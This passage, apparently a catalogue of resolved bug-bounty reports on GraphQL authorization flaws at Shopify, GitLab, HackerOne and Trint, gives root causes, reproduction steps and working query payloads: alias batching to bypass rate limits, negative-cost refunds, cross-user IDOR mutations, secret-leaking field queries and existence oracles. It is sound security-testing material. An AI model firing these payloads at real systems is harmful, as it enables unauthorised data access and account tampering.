a1: createReport(input: {team_handle: $team_handle, title: "t", vulnerability_information: "v", impact: "i", source: "s"}) { was_successful }
... repeat aliases a2..aN ...
}
Insight — When testing GraphQL, always try aliasing the same mutation N times in one document to bypass rate/count limits (and to brute-force OTP/coupons). Enforcement must count operations, not requests.
Real-world example
Read-only team members can read webhook secret + url (missing field-level authz)
◆ Low
Specimen #818848 · security · none · 30 votes · resolved
Program securitySurface graphqlTag graphqlTag webhook
Root cause
The GraphQL team.webhooks field exposes all webhook properties, including the signing secret and url, to read-only team members who have no need for them - no field-level authorization on sensitive webhook attributes.
Method
- Have an admin configure webhooks on the program
- Log in as a read-only team member
- Query team(handle:).webhooks.nodes for id, secret, url
- Receive the webhook secrets and URLs
{ team(handle: "security") { webhooks { nodes { id secret url } } } }
Insight — Enumerate every field on a GraphQL type as your lowest-privilege role; secrets/tokens/urls frequently lack per-field authorization even when the parent object is legitimately visible. Read-only != read-safe.
Real-world example
UI privacy toggle not enforced at GraphQL layer
◆ Low
Specimen #1264725 · security · awarded · 30 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
A privacy/visibility toggle in the UI ('Show this blurb on my profile') only hides data client-side; the backing GraphQL field (public_reviews.public_feedback on the user object) still returns it to unauthenticated requesters.
Method
- Set a profile field to hidden/private in the account settings UI
- Open the profile in an incognito/unauthenticated session and inspect the XHR GraphQL calls
- Replay the UserProfilePage query for the target username and read the field that should be hidden
POST /graphql HTTP/1.1
Host: hackerone.com
Content-Type: application/json
{"operationName":"UserProfilePage","variables":{"resourceIdentifier":"<victim>"},"query":"query UserProfilePage($resourceIdentifier: String!){ user(username:$resourceIdentifier){ public_reviews(first:5){ edges{ node{ public_feedback team{ name handle } } } } } }"}
Insight — Every UI-level 'hide/opt-out' toggle is a candidate: replay the underlying GraphQL/REST call unauthenticated and check whether the supposedly hidden field is still populated. The toggle often gates only rendering, not resolver authorization.
Real-world example
GraphQL mutation trusts userId/objectId variables (no ownership check)
◆ Low
Specimen #587687 · trint · none · 26 votes · resolved
Program trintSurface graphqlTag graphql
Root cause
The updateProject GraphQL mutation takes userId and projectId as variables and acts on them without checking the project belongs to the authenticated user, so passing another user's projectId renames their folder.
Method
- Get victim's projectId
- As attacker call the updateProject mutation with the victim's projectId (and their userId)
- Folder/project is renamed for the victim
POST / HTTP/1.1
Host: graphql2.TARGET
Authorization: Bearer <attacker JWT>
Content-Type: application/json
{"operationName":"updateProject","variables":{"userId":"<victim_or_attacker>","projectName":"pwned","projectId":"<VICTIM_PROJECT_ID>"},"query":"mutation updateProject($userId:String!,$projectName:String!,$projectId:String!){updateProject(userId:$userId,projectName:$projectName,projectId:$projectId){_id projectName __typename}}"}
Insight — GraphQL mutations that accept userId/ownerId/projectId as arguments are classic BOLA - the resolver often uses the argument as the authority instead of the session. Always retest every mutation with a cross-user object id.
Real-world example
Reset GraphQL cost-based rate limit with a negative-cost query
◆ Low
Specimen #481518 · shopify · none · 24 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
Cost-based (leaky-bucket) rate limiting computes query cost from pagination args without clamping to >=0, so a negative connection argument (first: -N) yields a negative cost that refunds the bucket back toward its maximum.
Method
- Deplete the app's query-cost bucket with a heavy nested query
- Send a query containing a negative pagination arg (first: -1000)
- The negative cost refills the bucket to max
- Resume heavy querying indefinitely
# after draining the bucket, run a query with:
{ appInstallations(first: -1000) { edges { node { id } } } }
# negative cost refunds the leaky bucket back to maximum
Insight — For cost-limited GraphQL APIs, fuzz pagination/limit args with negative and oversized values. If cost isn't clamped to non-negative, negatives become a rate-limit refill primitive. Also check that cost is computed on the requested (not returned) count.
Real-world example
Undocumented GraphQL analytics query returns non-public program data
◆ Low
Specimen #826176 · security · awarded · 22 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
A GraphQL query field (program_analytics_benchmarks) lacks proper authorization, returning benchmark/response-time data for programs that is not exposed on their public profile.
Method
- Enumerate GraphQL schema/fields (introspection or observed queries)
- Call analytics/benchmark fields for a target team
- Compare returned data against what the public UI shows
- Non-public values (e.g. p50 time-to-bounty) confirm the leak
{
program_analytics_benchmarks(teams:"security", select:p50_time_to_bounty, from:response_targets,
where:{severity:{is_null:true}}, group:week_bounty_awarded_at,
start_date:"2019-10-01T00:00:00.000Z", end_date:"2020-10-01T00:00:00.000Z") { id x y }
}
Insight — GraphQL analytics/reporting fields are a common authz blind spot: the UI hides the data but the resolver does not enforce access. Introspect and query every analytics/benchmark/export field against targets you shouldn't see.
Real-world example
GraphQL exposes data hidden in REST/UI (field-level authz gap)
◆ Low
Specimen #633001 · gitlab · awarded · 17 votes · resolved
Program gitlabSurface graphqlTag graphql
Root cause
Private/system notes are filtered out of the REST API and UI but the GraphQL resolver returns them without the same authorization check (CVE-2019-15576).
Method
- Find data the UI/REST deliberately hides (private system notes on a public issue)
- Query the same object via the GraphQL explorer, requesting the notes fields
- Compare: GraphQL returns the hidden system notes, even unauthenticated
query { project(fullPath:"user/proj"){ issue(iid:"1"){ notes{ edges{ node{ body bodyHtml system author{ username } } } } } } }
Insight — Whenever an app has both REST/UI and GraphQL, test parity: GraphQL resolvers often re-implement (and forget) the authorization filters applied elsewhere. Request the sensitive sub-fields directly.
Real-world example
GraphQL nested relationship traversal leaks private data
◆ Low
Specimen #509574 · security · USD 500 · 16 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
Authorization is enforced on the direct object but not when the same private data (Slack private-channel names) is reached by traversing relationship edges in a GraphQL query.
Method
- Join a team as a no-permission member
- Build a GraphQL query that pivots team -> slack_pipelines -> team -> slack_integration -> channels
- Read private channel names you were never invited to
query{ teams(where:{handle:{_eq:"team_handle"}}){ edges{ node{ slack_pipelines{ nodes{ team{ slack_integration{ channels{ name } } } } } } } } }
Insight — Don't only test top-level GraphQL fields: pivot through relationship edges to reach sensitive data via an indirect path where per-field authz is missing. Enumerate every nested object reachable from an object you legitimately hold.
Real-world example
GraphQL scope pivoting to read out-of-permission data
◆ Low
Specimen #423388 · shopify · 1500 · 14 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
Authorization was enforced per-UI-area but not consistently on GraphQL query roots/fields, so a token with only Apps access could traverse to unrelated root queries (locations, inventory, marketingActivities, publications) and read data it should not see.
Method
- Obtain a low-scope API token (e.g. Apps-only) and open a GraphiQL-style app
- Enumerate root queries the docs say require other permissions
- Issue those queries directly and check for data returned instead of access-denied
query{ marketingActivities(first:100){edges{node{id title createdAt budget{total{amount}}}}} }
query{ publications(first:100){edges{node{name id supportsFuturePublishing app{apiKey}}}} }
query{ locations(first:50){edges{node{name address{address1 city}}}} }
Insight — In GraphQL, authorization is often bound to UI routes rather than to resolvers - fuzz every root query/field with a minimal-scope token; missing per-field authz reads as data (not an error) and nested fields (e.g. app{apiKey}) leak secrets.
Real-world example
Subdomain sweep + GraphQL introspection to find unauth data endpoints
◆ Info
Specimen #419883 · shopify · 802 · 57 votes · resolved
Program shopifySurface graphqlChain subdomain enum -> unauth GraphQL -> introspection ->Tag graphql
Root cause
Internal apps expose a /graphql endpoint without auth; introspection is enabled, so the full schema (and the queries that return internal data) can be recovered and abused.
Method
- Enumerate all subdomains of the target cloud domain and fuzz /graphql on each, filtering for 200s.
- Send an introspection query with the correct Content-Type: application/json header (missing header returns 'query string not present').
- Read the schema, then chain queries: enumerate objects (e.g. allLocations) to obtain a key, then pivot that key into the data-bearing query.
POST /graphql HTTP/1.1
Host: SUB.TARGETcloud.com
Content-Type: application/json
{"query": "query allLocations{allLocations{address, code, contact}}"}
# then pivot with the returned code:
{"query": "query location{location(code:\"OTT150, 8th Floor\"){taps{edges{node{percentRemaining, beer{brewery, style, abv}}}}}}"}
Insight — Generalize a single public GraphQL report into a whole attack: sweep *.cloud subdomains for /graphql, always set Content-Type: application/json, run introspection, and chain enumeration queries to pivot from an identifier into sensitive data. Reading prior public reports to find the root pattern and applying it broadly is the methodology.
Real-world example
Permission-reason enum field as an oracle for hidden/private feature existence
◆ Info
Specimen #347937 · security · none · 39 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
A GraphQL field that lists reasons a caller cannot perform an action reflects backend state: when a feature/program is actually present the 'FEATURE_GATED' reason is dropped, so the shape of the reasons array discloses the existence of an otherwise-private program.
Method
- Query the Team object for a non-null permission-reason array field (e.g. i_cannot_create_jira_webhook_reasons).
- Baseline a program with no private/paid program: reasons = [CANNOT_VIEW, FEATURE_GATED, PROGRAM_PERMISSION_REQUIRED].
- For target orgs, request the same field; a missing FEATURE_GATED value means the feature is no longer gated -> the org runs a private/active program.
query {
team(handle: "TARGET") {
i_cannot_create_jira_webhook_reasons
}
}
# reasons WITHOUT "FEATURE_GATED" => private/active program exists
Insight — Negative/permission metadata leaks positive facts. Diff the enum/error/reason values of authorization fields across a known-empty baseline and targets; differences in 'why you cannot' frequently disclose the existence of gated features, private programs, or entitlements.
Real-world example
Field-value oracle leaks existence of private programs
◆ Info
Specimen #350964 · security · none · 24 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
Querying me{ remaining_reports(team_handle:X) } from a fresh (no-signal) sandbox account returned 1 for external programs that also run a private H1 program and null otherwise, turning a benign field into a private-existence oracle.
Method
- Create a fresh sandbox account with no reputation/signal
- Alias-query remaining_reports for each candidate team_handle
- 1 => the program runs a hidden private program; null => it doesn't
{"query":"query{query{me{_r:remaining_reports(team_handle:\"TARGET\")}}}"}
Insight — Numeric/boolean-ish GraphQL fields (counts, remaining_*, can_*) leak the existence/state of hidden objects; diff the value across handles and across account states (signal).
Real-world example
GraphQL data exposure via operation-level (not field-level) authz
◆ Info
Specimen #409973 · shopify · awarded · 4 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
The GraphQL LiveView operation checks permission at the operation entrypoint but not per-field, so a 'No Access' user who submits the full Shop schema selection back receives billing address, store settings, product images/IDs and uploaded file lists.
Method
- Log in as a low/No-Access user on the target store.
- POST the known GraphQL operation (LiveView) with a complete Shop field selection to /admin/api/graphql.
- Read the returned privileged fields (billingAddress, plan, shopifyPaymentsAccount, uploadedImages, etc.).
POST /admin/api/graphql HTTP/1.1
Host: STORE.myshopify.com
Content-Type: application/json
{"operationName":"LiveView","variables":{},"query":"query LiveView { shop { id billingAddress { address1 city country zip } plan { displayName shopifyPlus } shopifyPaymentsAccount { balance { amount currencyCode } id } uploadedImages(first:0){edges{node{originalSrc id}}} } }"}
Insight — When testing GraphQL, replay named privileged operations and request the *full* type selection as a low-priv user. Authz enforced at the resolver/operation boundary often misses individual fields; enumerate every field of returned objects.